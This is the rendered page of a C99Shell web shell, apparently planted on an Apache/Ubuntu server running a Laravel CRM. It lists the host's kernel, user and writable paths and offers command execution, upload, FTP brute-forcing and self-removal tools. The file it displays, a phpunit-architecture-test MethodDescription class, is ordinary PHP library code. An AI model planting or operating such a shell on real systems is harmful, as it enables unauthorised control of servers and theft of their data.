!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/ta-tikoma/phpunit-architecture-test/src/Asserts/Methods/Elements/   drwxrwxrwx
Free 13.13 GB of 57.97 GB (22.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MethodDescription.php (4 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PHPUnit\Architecture\Asserts\Methods\Elements;

use 
phpDocumentor\Reflection\DocBlock;
use 
phpDocumentor\Reflection\DocBlock\Tags\Param;
use 
phpDocumentor\Reflection\DocBlock\Tags\Return_;
use 
PhpParser\Node;
use 
PhpParser\Node\Expr;
use 
PHPUnit\Architecture\Asserts\Methods\ObjectMethodsDescription;
use 
PHPUnit\Architecture\Services\ServiceContainer;
use 
RuntimeException;

/**
 * Method description
 */
final class MethodDescription
{
    public 
string $name;

    
/**
     * Names and types function arguments
     *
     * @var array<array{string|string[]|null, string|null}>
     */
    
public array $args;

    
/**
     * Return type
     *
     * @var string|string[]|null
     */
    
public $return;

    
/**
     * Line count of method
     */
    
public int $size;

    public static function 
make(ObjectMethodsDescription $objectMethodsDescriptionNode\Stmt\ClassMethod $classMethod): self
    
{
        
$description = new static();

        
$docComment = (string) $classMethod->getDocComment();

        try {
            
$docBlock ServiceContainer::$docBlockFactory->create(empty($docComment) ? '/** */' $docComment);
        } catch (
RuntimeException) {
            
$docBlock ServiceContainer::$docBlockFactory->create('/** */');
        }

        
$description->name $classMethod->name->toString();
        
$description->args self::getArgs($objectMethodsDescription$classMethod$docBlock);
        
$description->return self::getReturnType($objectMethodsDescription$classMethod$docBlock);
        
$description->size $classMethod->getEndLine() - $classMethod->getStartLine();

        return 
$description;
    }

    
/**
     * @return array<array{string|string[]|null, string|null}>
     */
    
private static function getArgs(
        
ObjectMethodsDescription $objectMethodsDescription,
        
Node\Stmt\ClassMethod $classMethod,
        
DocBlock $docBlock
    
): array {
        
/** @var Param[] $tags */
        
$tags $docBlock->getTagsWithTypeByName('param');

        return 
array_map(static function (Node\Param $param) use ($tags$objectMethodsDescription): array {
            
$name self::getVarName($param->var);
            
$type self::tryToString($param->type);

            if (
$type === null) {
                foreach (
$tags as $tag) {
                    if (
$tag->getVariableName() === $name && $tag->getType() !== null) {
                        
$type $objectMethodsDescription->getDocBlockTypeWithNamespace($tag->getType());
                        break;
                    }
                }
            }

            return [
$type$name];
        }, 
$classMethod->params);
    }

    private static function 
getVarName(Expr\Variable|Expr\Error $var): ?string
    
{
        if (
$var instanceof Expr\Variable) {
            
$name $var->name;
            if (
$name instanceof Expr) {
                return 
null;
            }

            return 
$name;
        }

        return 
null;
    }

    private static function 
tryToString(?object $object): ?string
    
{
        if (
$object !== null) {
            if (
method_exists($object'toString')) {
                return 
$object->toString();
            }
        }

        return 
null;
    }

    
/**
     * @return string|string[]|null
     */
    
private static function getReturnType(
        
ObjectMethodsDescription $objectMethodsDescription,
        
Node\Stmt\ClassMethod $classMethod,
        
DocBlock $docBlock
    
): string|array|null {
        
$type self::tryToString($classMethod->returnType);
        if (
$type !== null) {
            return 
$type;
        }

        
/** @var Return_[] $tags */
        
$tags $docBlock->getTagsWithTypeByName('return');
        if (
$tag array_shift($tags)) {
            
$type $tag->getType();
            if (
$type === null) {
                return 
null;
            }

            return 
$objectMethodsDescription->getDocBlockTypeWithNamespace($type);
        }

        return 
null;
    }

    public function 
__toString()
    {
        return 
$this->name;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--